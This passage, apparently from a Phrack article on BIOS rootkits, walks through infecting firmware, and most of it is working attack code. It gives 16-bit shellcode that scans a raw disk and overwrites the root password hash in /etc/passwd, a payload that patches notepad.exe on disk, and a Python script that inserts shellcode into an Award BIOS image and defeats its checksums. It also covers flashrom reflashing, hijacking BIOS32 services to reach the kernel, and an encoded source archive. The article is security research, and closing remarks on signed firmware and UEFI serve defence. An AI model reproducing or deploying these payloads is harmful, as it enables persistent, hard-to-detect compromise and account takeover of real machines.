    mov cx, 0xff ; code_size

   ; get_eip to have the 'source' address
    call b
b:
    pop si
    add si, 0x25  (Offset needed to reach the second stage payload)
    rep movsw

    mov ax, word [esp+0x12] ; get the caller address to patch the original hook
    sub ax, 4
    mov word [eax], 0x8000 ; new_hook offset
    mov word [eax+2], 0x0000 ; new_hook segment

    ; restore saved regs
    popf
    popa

    ; execute code smashed by 'call far'
    ;mov es,ax
    mov bx,es
    mov fs,bx
    mov ds,ax
    retf


    ;Here goes a large nopsled and next, the second stage payload

        |-------------------------------------------------------------|
```

The second stage, now residing in an unused space, has got to have some ready signal to know if the services that we want to use are available..

---[3.1.5.1 - The Ready Signal

In the VMWare we've seen that when our second-stage payload is called, and the IVT is already initialized, we have all we need to do our stuff. Based on that we chose to use the IVT initialization as our ready signal. This is very simple because it's always mapped at

0000:0000. Every time the shellcode gets executed first checks if the IVT is initialized with valid pointers, if it is the shellcode is executed, if not it returns without doing anything.

---[3.1.5.1 - The Real stuff

Now we have our code executed and we know that we have all the services we need so what are we going to do? We can’t interact with the OS from here.

In this moment the operating system is just a char array sitting on the disk. But hey! wait, we have access to the disk through the int 13h (Low Level Disk Services).. we can modify it in any way we want!. Ok, let’s do it.

In a real malicious implementation, you would like to code some sort of basic driver to correctly parse the different filesystem structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?) but for this paper, just as Proof of Concept, we will use the Int 13h to sequentially read the disk in raw mode. We will look for a pattern in a very stupid way and it will work, but doing what we said before, in a common scenery, will be possible to modify, add and delete any desired file of the disk allowing an attacker to drop driver modules, infect files, disable the antivirus or anti rootkits, etc.

This is the shellcode that we’ve used to walk over the whole disk matching the pattern: "root:$" in order to find the root entry of the /etc/passwd file.

Then, we replace the root hash with our own hash, setting the password "root" for the root user.

```
-------------------------------------------------------------
; The shellcode doesn’t have any type of optimization, we tried to keep it
; simple, ’for educational purposes’

; 16 bit shellcode
; use LBA disk access to change root password to ’root’

BITS 16
        push es
        push ds
        pushad
        pushf

        ; Get code address
        call gca
gca:    pop bx

        ; construct DAP
        push cs
        pop ds
        mov si,bx
        add si,0x1e0 ; DAP 0x1e0 from code
        mov cx,bx
        add cx,0x200 ; Buffer pointer 0x200 from code
        mov byte [si],16 ;size of SAP
        inc si
        mov byte [si],0  ;reserved
        inc si
        mov byte [si],1  ;number of sectors
        inc si
        mov byte [si],0  ;unused
        inc si
        mov word [si],cx ;buffer segment
        add si,2
        mov word [si],ds;buffer offset
        add si,2
        mov word [si],0 ; sector number
        add si,2
        mov word [si],0 ; sector number
        add si,2
        mov word [si],0 ; sector number
        add si,2
        mov word [si],0 ; sector number

        mov di,0
        mov si,0
mainloop:
        push di
        push si

        ;-------- Inc sector number
        mov cx,3
        mov si,bx
        add si,0x1e8
loopinc:
        mov ax,word [si]
        inc ax
        mov word [si],ax
        cmp ax,0
        jne incend
        add si,2
        loop loopinc
incend:
        ;-------- LBA extended read sector
        mov ah,0x42 ; call number
        mov dl,0x80 ; drive number 0x80=first hd
        mov si,bx
        add si,0x1e0
        int 0x13
        jc mainend
        nop
        nop
        nop

        ;-------- Search for ’root’
        mov di,bx
        add di,0x200 ; pointer to buffer
        mov cx,0x200 ; 512 bytes per sector
searchloop:
        cmp word [di],’ro’
        jne notfound
        cmp word [di+2],’ot’
        jne notfound
        cmp word [di+4],’:$’
        jne notfound
        jmp found ; root found!
notfound:
        inc di
        loop searchloop

endSearch:
        pop si
        pop di

        inc di
        cmp di,0
        jne mainloop
        inc si
        cmp si,3
        jne mainloop

mainend:
        popf
        popad
        pop ds
        pop es
        int 3
found:
;replace password with:
;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi:
;Yes we could’ve used rep movsb, but we kinda suck.
        mov word[di+6],’2a’
        mov word[di+8],’$0’
        mov word[di+10],’8$’
        mov word[di+12],’Gr’
        mov word[di+14],’rD’
        mov word[di+16],’Ve’
        mov word[di+18],’DJ’
        mov word[di+20],’9A’
        mov word[di+22],’XX’
        mov word[di+24],’lX’
        mov word[di+26],’Oo’
        mov word[di+28],’bf’
        mov word[di+30],’fO’
        mov word[di+32],’kL’
        mov word[di+34],’On’
        mov word[di+36],’Fy’
        mov word[di+38],’Rj’
        mov word[di+40],’k2’
        mov word[di+42],’N0’
        mov word[di+44],’/4’
        mov word[di+46],’S8’
        mov word[di+48],’Yu’
        mov word[di+52],’p3’
        mov word[di+54],’3s’
        mov word[di+56],’D4’
        mov word[di+58],’3w’
        mov word[di+60],’SH’
        mov word[di+62],’Fz’
        mov word[di+64],’i:’
        ;-------- LBA extended write sector
        mov ah,0x43 ; call number
        mov al,0 ; no verify
        mov dl,0x80 ; drive number 0x80=first hd
        mov si,bx
        add si,0x1e0
        int 0x13
        jmp mainend
```

This other is basically the same payload, but in this case we walk over the whole disk trying to match a pattern inside notepad.exe, and then we inject a piece of code with a simple call to MessaBoxA and ExitProcess to finish it gracefully.

```
                hook_start:
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
```

```
        nop
        nop
        ;jmp hook_start
        ;mov bx,es
        ;mov fs,bx
        ;mov ds,ax
        ;retf

        pusha
        pushf
        xor di,di
        mov ds,di
        ; check to see if int 19 is initialized
        cmp byte [0x19*4],0x00
        jne ifint

noint:
        ;jmp noint ; loop to debug
        popf
        popa
        ;mov es, ax
        mov bx, es
        mov fs, bx
        mov ds, ax
        retf


ifint:
        ;jmp ifint ; loop to debug
        cmp byte [0x19*4],0x46
        je noint

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

initShellcode:
    ;jmp initShellcode ; DEBUG
    cli
    push es
    push ds
    pushad
    pushf

    ; Get code address
    call gca

gca:
    pop bx
    ;---------- Set screen mode
    mov ax,0x0003
    int 0x10
    ;---------- construct DAP
    push cs
    pop ds
    mov si,bx
    add si,0x2e0 ; DAP 0x2e0 from code
    mov cx,bx
    add cx,0x300 ; Buffer pointer 0x300 from code
    mov byte [si],16 ;size of SAP
    inc si
    mov byte [si],0  ;reserved
    inc si
    mov byte [si],1  ;number of sectors
    inc si
    mov byte [si],0  ;unused
    inc si
    mov word [si],cx ;buffer segment
    add si,2
    mov word [si],ds;buffer offset
    add si,2
    mov word [si],0 ; sector number
    add si,2
    mov word [si],0 ; sector number
    add si,2
    mov word [si],0 ; sector number
    add si,2
    mov word [si],0 ; sector number

    mov di,0
    mov si,0

    ;-------- Function 41h: Check Extensions
    push bx
    mov ah,0x41 ; call number
    mov bx,0x55aa;
    mov dl,0x80 ; drive number 0x80=first hd
    int 0x13
    pop bx
    jc mainend_near
    ;-------- Function 00h: Reset Disk System
    mov ah, 0x00
    int 0x13
    jc mainend_near
    jmp mainloop
mainend_near:
    jmp mainend
mainloop:
    cmp di,0
    jne nochar
    ;------- progress bar (ABCDE....)
    push bx
    mov ax,si
    mov ah,0x0e
    add al,0x41
    mov bx,0
    int 0x10
    pop bx
nochar:
    push di
    push si
    ;jmp incend    ;
    ;-------- Inc sector number
    mov cx,3
    mov si,bx      ; bx = curr_pos
    add si,0x2e8   ; +2e8 LBA Buffer

loopinc:
    mov ax,word [si]
    inc ax
    mov word [si],ax
    cmp ax,0
    jne incend
    add si,2
    loop loopinc

incend:
LBA_read:
    ;jmp int_test
    ;-------- LBA extended read sector
    mov ah,0x42 ; call number
    mov dl,0x80 ; drive number 0x80=first hd
    mov si,bx
    add si,0x2e0
    int 0x13
    jnc int13_no_err
    ;-------- Write error character
    push bx
```

```
        mov ax,0x0e45
        mov bx,0x0000
        int 0x10
        pop bx
    int13_no_err:
        ;-------- Search for 'root'
        mov di,bx
        add di,0x300 ; pointer to buffer
        mov cx,0x200 ; 512 bytes per sector

    searchloop:
        cmp word [di],0x706a
        jne notfound
        cmp word [di+2],0x9868
        jne notfound
    ;debugme:
    ;    je debugme
        cmp word [di+4],0x0018
        jne notfound
        cmp word [di+6],0xe801
        jne notfound
        jmp found ; root found!


    notfound:
        inc di
        loop searchloop

    endSearch:
        pop si
        pop di

        inc di
        cmp di,0
        jne mainloop
        inc si
        cmp si,EXTENT ;------------ 10x65535 sectors to read
        jne mainloop
        jmp mainend

    exit_error:
        pop si
        pop di

    mainend:
        popf
        popad
        pop ds
        pop es
        sti

        popf
        popa
        mov bx, es
        mov fs, bx
        mov ds, ax
        retf

    writechar:
        push bx
        mov ah,0x0e
        mov bx,0x0000
        int 0x10
        pop bx
        ret
    found:
        mov al,0x46
        call writechar
```

```
                ;mov word[di], 0xfeeb ; Infinite loop - Debug
                    mov word[di], 0x00be
                    mov word[di+2], 0x0100
                    mov word[di+4], 0xc700
                    mov word[di+6], 0x5006
                    mov word[di+8], 0x4e57
                    mov word[di+10], 0xc744
                    mov word[di+12], 0x0446
                    mov word[di+14], 0x2121
                    mov word[di+16], 0x0100
                    mov word[di+18], 0x016a
                    mov word[di+20], 0x006a
                    mov word[di+22], 0x6a56
                    mov word[di+24], 0xbe00
                    mov word[di+26], 0x050b
                    mov word[di+28], 0x77d8
                    mov word[di+30], 0xd6ff
                    mov word[di+32], 0x00be
                    mov word[di+34], 0x0000
                    mov word[di+36], 0x5600
                    mov word[di+38], 0xa2be
                    mov word[di+40], 0x81ca
                    mov word[di+42], 0xff7c
                    mov word[di+44], 0x90d6

                ;-------- LBA extended write sector
                    mov ah,0x43 ; call number
                    mov al,0 ; no verify
                    mov dl,0x80 ; drive number 0x80=first hd
                    mov si,bx
                    add si,0x2e0
                    int 0x13
                    jmp notfound; continue searching
                    nop
```

---[3.2 - Real (Award) BIOS modification

VMWare turned to be an excellent BIOS research and development platform. But to complete this research, we have to attack a real system. For this modification we used a common motherboard (Asus A7V8X-MX), with an Award-Phoenix 6.00 PG BIOS, a very popular version.

---[3.2.1 - Dumping the real BIOS firmware

FLASH chips are fairly compatible, even interchangeable. But they are connected to the motherboard in many different ways (PCI, ISA bridge, etc.), and that makes reading them in a generic way a non-trivial problem. How can we make a generic rootkit if we can't even find a way to reliably read a flash chip? Of course, a hardware flash reader is a solution, but at the time we didn't have one and is not really an option if you want to remotely infect a BIOS without physical access.

So we started looking for software-based alternatives. The first tool that we found worked fine, which was the Flashrom utility from the coreboot open-source project, see [COREBOOT] (Also available in the Debian repositories). It contains an extensive database of chips and read/write methods. We found that it almost always works, even if you have to manually specify the IC model, as it's not always automatically detected.

```
        $ flashrom -r mybios.rom
```

Generally, the command above is all that you need. The bios should be in the mybios.rom file.

A trick that we learned is that if it says that it can't detect the Chip, you should do a script to try every known chip. We have yet to find BIOS that can't be read using this technique. Writing is slightly more difficult, as Flashrom needs to correctly identify the IC to allow writing to it. This limitation can by bypassed modifying the source code but beware that you can fry your motherboard this way.

We also used flashrom as a generic way to upload the modified BIOS back to the motherboard.

---[3.2.2 - Modification

Once we have the BIOS image on our hard disk, we can start the process of inserting the malicious payload.

When modifying a real bios, and in particular an award/phoenix BIOS, we faced some big problems:

1) Lack of documentation of the bios structure
2) Lack of packing/unpacking tools
3) No easy way to debug real hardware.

There are many free tools to manipulate BIOS, but as it always happen with proprietary formats, we couldn't find one that worked with our particular firmware. We can cite the Linux awardeco and phnxdeco utilities as a starting point, but they tend to fail on modern BIOS versions.

Our plan to achieve execution was:

1) We must insert arbitrary modifications (this implies the knowledge of checksum positions and algorithms)
2) A basic hook should be inserted on a generic, easy to find portion of the BIOS.
3) Once the generic hook is working, then a Shellcode could be inserted.

---[3.2.2.0 - Black Screen of Death

You have to know that you're going to trash a lot of BIOS chips in this process. But most BIOSes have a security mechanism to restore a damaged firmware. RTFM (Read the friendly manual of the motherboard)

If this doesn't work, you can use the chip hot-swapping technique: You boot with a working chip, then you hot-swap it with the damaged one, and reflash. Of course, for this technique you will need to have another working backup BIOS.

---[3.2.2.1 - Changing one bit at time

Our initial attempts were unsuccessful and produced mostly unbootable systems. Basically we ignored how many checksums the bios had, and you must patch everyone of them or face the terrifying "BIOS CHECKSUM ERROR" black screen of death. The black screen of death got us thinking, it says "CHECKSUM" so, it must be some kind of addition compared to a number. And this kind of checks can be easily bypassed, injecting a number at some point that will *compensate* the addition. Isn't this the reason why CRC was invented after all? It turns out that all the checksums were only 8-bits, and by touching only one byte at the end of the shellcode, all the checksums were compensated. You can find the very simple algorithm to do this on the attachments, inside this python script:

```
        -------------------------------------------------------------
        modifBios.py

        #!/usr/bin/python
        import os,sys,math

        # Usage
        if len(sys.argv)<3:
                print "Modify and recalculate Award BIOS checksum"
                print "Usage: %s <original bios> <assembly shellcode
                file>" % (sys.argv[0])
                exit(0)

        # assembly the file
        scasm = sys.argv[2]
        sccom = "%s.bin" % scasm
        os.system("nasm %s -o %s " % (scasm,sccom) )
        shellcode = open(sccom,’rb’).read()
        shellcode = shellcode[0xb55:] # skip the NOPs
        os.unlink(sccom)
        print ("Shellcode lenght: %d" % len(shellcode))

        # Make a copy of the original BIOS
        modifname = "%s.modif" % sys.argv[1]
        origname = sys.argv[1]
        os.system("cp %s %s" % (origname,modifname) )

        #merge shellcode with original flash
        insertposition = 0x3af75
        modif = open(modifname,’rb’).read()
        os.unlink(modifname)
        newbios=modif[:insertposition]
        newbios+=shellcode
        newbios+=modif[insertposition+len(shellcode):]
        modif=newbios
        #insert hook
        hookposition = 0x3a41d
        hook="\xe9\x55\x0b" # here is our hook,
                            # at the end of the bootblock
        newbios=modif[:hookposition]
        newbios+=hook
        newbios+=modif[hookposition+len(hook):]
        modif=newbios

        #read original flash
        orig  = open(sys.argv[1],’rb’).read()

        # calculate original and modified checksum
        # Sorry, this script is not *that* generic
        # you will have to harvest these values
        # manually, but you can craft an automatic
        # one using pattern search.
        # These offsets are for the Asus A7V8X-MX
        # Revision 1007-001

        start_of_decomp_blk=0x3a400
        start_of_compensation=0x3affc
        end_of_decomp_blk=0x3b000

        ochksum=0 # original checksum
        mchksum=0 # modified checksum

        for i in range(start_of_decomp_blk,start_of_compensation):
                ochksum+=ord(orig[i])
                mchksum+=ord(modif[i])
        print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)

        # calculate difference

        chkdiff = (mchksum & 0xff) - (ochksum & 0xff)

        print "Diff : %08X" % chkdiff

        # balance the checksum
        newbios=modif[:start_of_compensation]
        newbios+=chr( (0x1FF-chkdiff) & 0xff )
        newbios+=modif[start_of_compensation+1:]

        mchksum=0 # modified checksum
        ochksum=0 # modified checksum
        for i in range(start_of_decomp_blk,end_of_decomp_blk):
                ochksum+=ord(orig[i])
                mchksum+=ord(newbios[i])
        print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)
        print "(Please check the last digit, must be the same in both checkums)"


        newbiosname=sys.argv[2]+".compensated"
        w=open(newbiosname,'wb')
        w.write(newbios)
        w.close()
        print "New bios saved as %s" % newbiosname

        -------------------------------------------------------------
```

With this technique we successfully changed one bit, then one byte, then multiple bytes on a uncompressed region of the BIOS. The first step was accomplished.

---[3.2.2.1 - Inserting the Hook

The hook is in exactly the same place: the decompressor block. We also jumped to the same place that in the VMWARE code injection: In the end of the decompressor block generally there is enough space to do a pretty decent first stage shellcode. It's easy to find. Hint: look for "= Award Decompression Bios =" In Phoenix bios, is the block marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost never changes. It works.

There are a couple of steps that you must do to ensure that you are hooking correctly. Firstly, insert a basic hook that only jumps forward, and then returns. Then, modify it to cause an infinite loop. (we don't have a debugger so we must rely on these horrible techniques) If you can control when the computers boots correctly and when it just locks up, congratulations. Now you have your code stealthy executing from the BIOS.

---[3.2.3 - Payload

So now, you have complete control of the BIOS. Then you unveil your elite 16-bit shellcoding skills and try to use the venerable INT 10h to print "I PWNED J00!" on the screen and then proceed to use INT 13h to write evil things to the hard disk.

Not that fast. You will be greeted with the black screen of fail.

What happens is that you still don't have complete control of the BIOS. First and foremost, as we did on the VMWARE hook, you are gaining execution multiple times during the boot process. The first time, the disk is not spinning, the screen is still turned off and most surprisingly, the Interruption Vector Table is not initialized. This sounds very cool but it is a big problem. You can't write to the disk if it's not spinning, and you can use an interrupt if the IVT is not initialized.

You must wait. But how do you know when to execute? You again need some sort of ready-to-go signal.

---[3.2.3.1 - The Ready Signal

In the VMWARE, we used the contents of the IVT as a ready signal. The shellcode tested if the IVT was ready simply by checking if it had the correct values. This was very easy because in real-mode, the IVT is always in the same place (0000:0000, easy to remember by the way). This technique basically sucks, because you really can’t get less generic than this. The pointers on the IVT change all the time, even between versions of the same BIOS manufacturer. We need a better, more "works-on-other-computers-apart-from-mine" technique.

In short, this is the solution and it works great:
Check if C000:0000 contains the signature AA55h.

If that conditions is true, then you can execute any interruption. The reason is that in this precise position the VGA BIOS is loaded on all PCs. And AA55h is a signature that tell us that the VGA BIOS is present. It’s fine to assume that if the VGA BIOS has been loaded, then the IVT has been initialized. Warning: Surely the hard disk is not spinning yet! (It’s slow) but now you can check for it with the now non-crashing interruption 13h, using function 41h to check for LBA extensions and then trying to do a disk reset, using function 00h. You can see an example of this on the shellcode of the section 3.1.5.1

The rest is history. You can use int 13h with LBA to check for the disk, if it’s ready, then you insert a disk-stage rootkit on it, or insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the I-Love-You virus, or whatever rocks you. Your code is now immortal.

For the record, here is a second shellcode:

```
        -------------------------------------------------------------
        ;skull.asm please use nasm to assemble
        BITS 16
        back:
                TIMES 0x0b55 db 0x90

        begin2:
                pusha
                pushf
                push es
                push ds

                push 0xc000
                pop ds
                cmp word [0],0xaa55
                je print

        volver:
                pop ds
                pop es
                popf
                popa
                pushad
                push cx
                jmp back

        print:
                jmp start

                ;message
                ;   123456789
        msg:    db ’ .---.’,13,10,\
                   ’/     \’,13,10,\
                   ’|(\ /)|’,13,10,\
                   ’(_ o _)’,13,10,\
                   ’ |===|’,13,10,\
                   ’ `-.-`’,13,10
                times 55-$+msg db ’ ’

        start:
                ;geteip
                call getip
        getip:
                pop dx

                ;init video
                mov ax,0003
                int 0x10

                ;video write
                mov bp,dx
                sub bp,58 ; message

                ;write string
                mov ax,0x1300
                mov bx,0x0007
                mov cx,53
                mov dx,0x0400
                push cs
                pop es
                int 0x10

                call sleep
                jmp volver

        sleep:
                mov cx, 0xfff
        l1:
                push cx
                mov cx,0xffff
        l2:
                loop l2
                pop cx
                loop l1
                ret
        -------------------------------------------------------------
```

------[4.- BIOS32 (Kernel direct infection)

Now you have your bios rootkit executing in BIOS, but being in BIOS sucks from an attacker's point of view. You ideally want to be in the kernel of the Operative System. That is why you should do something like drop a shellcode to hard-disk or doing an SMBIOS-rootkit. But what if the hard-disk is encrypted? Or if the machine really doesn't have a hard disk and boots from the network?

Fear not, because this section is for you. There is the misconception that the BIOS is never used after boot, but this is untrue. Operative Systems make BIOS calls for many reasons, like for example, setting video modes (Int 10h) and doing other funny things like BIOS-32 calls.

What is BIOS32? using Google-based research we concluded that is an arcane BIOS service to provide information about other BIOS services to modern 32-bit OSes, in an attempt by BIOS vendors to stay relevant on the post MS-DOS era. You can refer to [BIOS32SDP] for more information. What's important is that many OSes make calls to it, and the only requirement to being a BIOS32 service is that you must place a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region, 16-byte aligned. The headers structure is:

Offset	Bytes	Description
0	4	Signature "_32_"
4	4	Entry point for the BIOS32 Service (here you put a pointer to your stuff)
8	1	Revision level, put 0
9	1	Length of the BIOS32 Headers in paragraphs (put 1)
10	1	8-bit Checksum. Security FTW!
11	5	Reserved, put 0s.

This is a pattern on all BIOS services. The way to locate and execute services is a pattern search followed by a checksum, and then it just jumps to a function that is some kind of dispatcher. This behavior is present in various BIOS functions like Plug and Play ($PnP), Post Memory Manager ($PMM), BIOS32 (_32_), etc. Security was not considered at the time when this system was designed, so we can take advantage of this and insert our own headers (We can even use an option-rom from this, without modifying system BIOS), and the OS ultimately always trust the BIOS.

You can see how Linux 2.6.27 detects and calls this service on the kernel function:

```
arch/x86/pci/pcibios.c,check_pcibios()
...
        if ((pcibios_entry = bios32_service(PCI_SERVICE))) {
                pci_indirect.address = pcibios_entry + PAGE_OFFSET;

                local_irq_save(flags);
                __asm__(
                        "lcall *(%%edi); cld\n\t"  <--- Pwn point
                        "jc 1f\n\t"
                        "xor %%ah, %%ah\n"
                        "1:"
...
```

OpenBSD 4.5 does the same here:

```
sys/arch/i386/i386/bios.c,bios32_service()
int
bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei)
{
...
        base = 0;
        __asm __volatile("lcall *(%4)"          <-- Pwn point
            : "+a" (service), "+b" (base), "=c" (count), "=d" (off)
            : "D" (&bios32_entry)
            : "%esi", "cc", "memory");
...
```

At the moment we don't have any data on Windows XP/Vista/7 BIOS32-direct-calling, but please refer to the presentation [JHeasman] where it documents direct Int 10h calling from several points on the Windows kernel.

Faking a BIOS32 header or modifying an existing one is a viable way to do direct-to-kernel binary execution, and more comfortable than the int 10 calling (we don't need to jump to and from protected mode), without having to rely on weird stuff like we explained on section 2 and 3.
Unfortunately because of lack of time, we couldn't provide a BIOS32 infection vector PoC in this issue, but it should be relatively easy to implement, you now have all the tools to do it safely inside a virtual machine, like VMware.

------[5.- Future and other uses

Bios modification is a powerful attack technique. As we said before, if you take control of the system at such an early stage, there is very little that an anti-virus or detection tool can do. Furthermore, we can stay resident using a common boot-sector rootkit, or file system modification. But some of the more fun things that you can do with this attack is to drop a more sophisticated rootkit, like a virtualized one, or better, a SMM Rootkit.

---[5.1 - SMM!

The difficulty of SMM Rootkits relies on the fact that you can't touch the SMRAM once the system is booted, because the BIOS sets the D_LCK bit [PHRACK65]. Recently many techniques has been developed to overcome this lock, like [DUFLOTSM], but if you are executing in BIOS, this lock doesn't affect you, because you are executing before this protection, and you could modify the SMRAM directly on the firmware. However, this technique would be very difficult and not generic at all, but it's doable.

---[5.2 - Signed firmware

The huge security hole that is allowing unsigned firmware into a motherboard is being slowly patched and many signed BIOS systems are being deployed, see [JHeasman2] for examples. This gives you an additional layer of security and prevent exactly the kind of attack proposed in this article. However, no system is completely secure, bug and backdoors will always exist. To this date no persistent attack on signed bios has been made public, but researchers are close to beating this kind of protections, see for example [ILTXT].

---[5.3 - Last words

Few software is so fundamental and at the same time, so closed, as the BIOS. UEFI [UEFIORG], the new firmware interface, promises open-standards and improved security.
But meanwhile, we need more people looking, reversing and understanding this crucial piece of software.
It has bugs, it can contain malicious code, and most importantly, BIOS can have complete control of your computer. Years ago people regained part of that control with the open-source revolution, but users won't have complete control until they know what's lurking behind closed-source firmware.
If you want to improve or start researching your own BIOS and need more resources, an excellent place to start would be the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level technical discussions take place.

--[6.- Greetz

We would like to thank all the people at Core Security for giving us the space and resources to work in this project, in particular to the whole CORE's Exploit writers team for supporting us during the time we spent researching this interesting stuff.

Kudos to the phrack editor team that put a huge effort into this e-zine.

To t0p0, for inspiring us in this project with his l33t cisco stuff. To Gera for his technical review. To Lea & ^Dan^ for correctin our englis. And Laura for supporting me (Alfred) on my long nights of bios-related suffering.

---[7.- References

[JHeasman] Firmware Rootkits, The Threat to the Enterprise,
John Heasman, http://www.ngssoftware.com/research/papers/BH-DC-07-Heasman.pdf
[JHeasman2] Implementing and detecting ACPI BIOS rootkit,
http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf
[BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4,
Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/ECF22CEC-A1B2-4F38-A7F9-629B49E1DCAB/0/specsbios32sd.pdf
[COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/Flashrom

```
[PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/
           issues.html?issue=65
[DUFLOTSM] "Using CPU System Management Mode to Circumvent
           Operating System Security Functions" Loic Duflot,
           Daniel Etiemble, Olivier Grumelard Proceedings of
           CanSecWest, 2006
[UEFIORG]  Unified EFI Forum, http://www.uefi.org/
[ILTXT]    Attacking Intel Trusted Execution Technology,
           BlackHat DC, Feb 2009.
           http://invisiblethingslab.com/resources/
           bh09dc/Attacking%20Intel%20TXT%20-%20paper.pdf
[WBHTF]    WIM’S BIOS In-depth High-tech BIOS section
           http://www.wimsbios.com/phpBB2/
           in-depth-high-tech-bios-section-vf37.html
[LZH]      http://en.wikipedia.org/wiki/LHA_(file_format)
[Pinczakko] Pinczakko Official Website,
            http://www.geocities.com/mamanzip/
```

```
  ---[8.- Sources
```

```
begin 644 phrack-66-07.tgz
M’XL(‘.>M.$H‘‘^T\_7/;QH[YU?PPPX1I6XJX[K3BKNSLMBJ@7+LDJ1AVU;YSGV;T
M^%’DRF),D3HN9<DW_>,/P"Z_1-K*7=/D;AYW&MO<76"Q‘!;‘?J#S:6C9#^W!
MH&T,W[[Z:XH!9=COXV]SV#>RO^/RRC0[YL#L#‘9#J#<[G8’YBO7_(GIR92$B
M*V3LE>5-0NX\WV]3^__3,L_*?VJ%SM(*^5=6A"^6O]’I=(8]D’_/Z%?R_R:E
M7/[B8>%YNB5F7V4,%/"@UWM._AU8[R3__G#0,[H#D’]_:!JOF/%51M]0_L7E
M/P;ICS2FRLW9^>DU,U;&N-]GSAC^VC,T;<SO7;^3]IHOQ-3*?4VT+?S%N%!_
M.$)3?QDK&V2<]@[FV+AES^9L&8O.^VC<MHR59?7[VM9GSN:AZT>:]AAXCSP<
M‘O[5’W\#]@R:2?8C3X[EY#Z9O4J^/\.X.&=-HY%&N094!1@\KMJ?<2&L>YY6
MP#^ST^WU!\/=/6TF[D=8"WRJ,[W=;NOUEMEMF4;K4P(!I?Z6?GTJ;_RC\8F]
M;?Y1WMBX8P&[:Y8WLC\.#@Z>‘63_;.OM?ZJVI"5R84*LWV__VP[0+NFN:QK-
M.F7$_CV/N#M/OFW+\QC4017]’.5EN<KPR_7=B#VZ#@^2NEGPR*Q5"U2@F]0!
MWT$M@+‘4DH#8,G0CG@,=SUM.*CRQ&&--?Q<D$<LFQ4’0($.0ZWUA_)79S6@A
MH<9:]$RY6GO5ZG=S-0[UZV5UF’0JIXQ9W2Q.CU@H/,[G.7632@X"P);1.AF‘
M8S*9:)XY>E:954_J"#TS2]0+@":ODR,Q‘RB;S>0[Y)’VO2U15;Y’*??_L\!Q
M)T=N(/3YTY\?8T/\UQMTS#C^,X8&QO^#;K=7^?]O4;9_>+L0X=NQZ[^=/T73
MP-?<V3P((Q:(EG@2K9D5335MF_U&QM:=,(_[#6C0K?#^L?EC-V.<T)^RVCFJ
MSA.S?‘>L"A@^>^%98)8/0:\<=G1V<<WL*;<?Q&)66P>E,4;LM6‘_!J$+,8?E
ML3$HX4_L1TL(/AM[3TQ,N>?9@</9Q/7X3S7VFB7D0"C13’#RE1LUC";2G@!’
M4PFF"1MB6W;‘$LC.+=39‘=;57@L=V(&8J9L&JP#Z17S6J/D(!O2U‘_PI!\<^
M+0)NLJ86A4\0M:14’K!@CAS#]E8]’->;>L@MI]’4^,KF\PA#’#G[XV#A.7X]
MBLGE1&Z"J<5$,./1%)P;<P6;N4+‘GS_4M*UDIME1D[\_&BL(YD:W;)N)!W=.
M2-]?7‘J<UL+W7/]!$M>4‘1%KU*X3-"#K^VD$$G%PJB3YN*U)G#VW’CBSF!W,
MGU@P(=R)Y%#6&AD2WYIQQ5CZ)M;&G#=O-011?7+5*=_M.?+[M2".Q]U;"7)D
MO+8]X^%]AF%LZ4;3E)R)9XFIYOJ"A]$\$&[D!CX,:*RZUF38EX3&TDH0YR66
M<BP=6?/Y$G7T@*H^CO(#W,;-.P<)76F5!,E#[.2Y/+J5E!TH(&U;=F?3(’C0
M\,?:7’JF0]4’M4\KOO=IU>]_@FB^!M+’B(-FNVNP’=;8(;THT)]%F:&>AELC
M/-N5R,:*(L7:-K)O71#XR9+5D4H]SW%0L=2$)!C0MM‘8+G<2:P)=KX,P?&J!
M%L+Z$’;HSB-<*7X0L3?1U(K>0!3K\]"UH>M3L‘#]@*AL:CW"0@O@=_C(180J
M+#A[M+P%1’3;;&;Y"PC>‘.MX$1&4;?F,6\(%<V*’U@26J\_0QBRB‘&RE:[/‘
MYVR!:Y/-K2CBH<\$MT)[JF.W&T(?3":"1X*!JV63(*1U<R@6@AT._[’[H7W^
M‘7I>\4=7H%Q-<)YM\)@R3K\+)G<.A_4ZOQM[#P<D<@A-DS9LX;ZP4"C4.IG8
M&O>=(MP8MV5:8$^1>P<&:$C"X(2GLTQKD>,:TNY"O,M"R[_GC1("6Z6$-<’J
MJ8%W#F‘32$OZHPO6>VN6K58+Y#:V3;5C-;08L0M%[‘%[;>Q^8.>*.ODI[81$
MU5(HU[0)ND]XR’T;MA#0‘3]!’1NJ,_MW"K^;K)W@B:NTF)@3!!DEXRDD.,K8
M\BQ‘3’)-N+6VT$H9DUEQ]C1LL‘;L(W[^N:U0-Q4)K+F^%$N1[9BP%C>(\&7Q
M?X%\"ZKUI;)5,RB3;BI<IJ3[<RKI<M$J#‘U87PSL2P3BO7=I^9,3!8<!$[>!
M+8_@2,<!.(89!’YLS!G_3UC@S9JFQ3Q%LWZ0"0QV:GK"5>[4M.4!V:Q,[U9]
M"39+6^JT‘XU;L,+V‘L$;"7GO^9("&B;‘ZCC@Z)5+R^#ZUMNP\O@?S>^,Z]$J
M^AIC;#C_,X9F3\7_YA‘/_B’^I_/?*O[_Z\L-.LMXF4B?Z7/N@’:"4P0’9D_1
MP5E)]*ZSFXQ[G8(*"_[(0\O34’G:&+0XRGV2GW8%AK2@_1#1N.!_(\;]8’$_
M1?1.0+ACSZGE_24&O‘S6L%B$’)SM,D!$RR!\8,$B:@>3-I#<’@<K&>>!:PXE
M@9IVYD-$ZD<AV@%JQ,G]X_SWPZM317@^2’‘"3E2&8‘M<<,F6#_L7QZ’‘!B:&
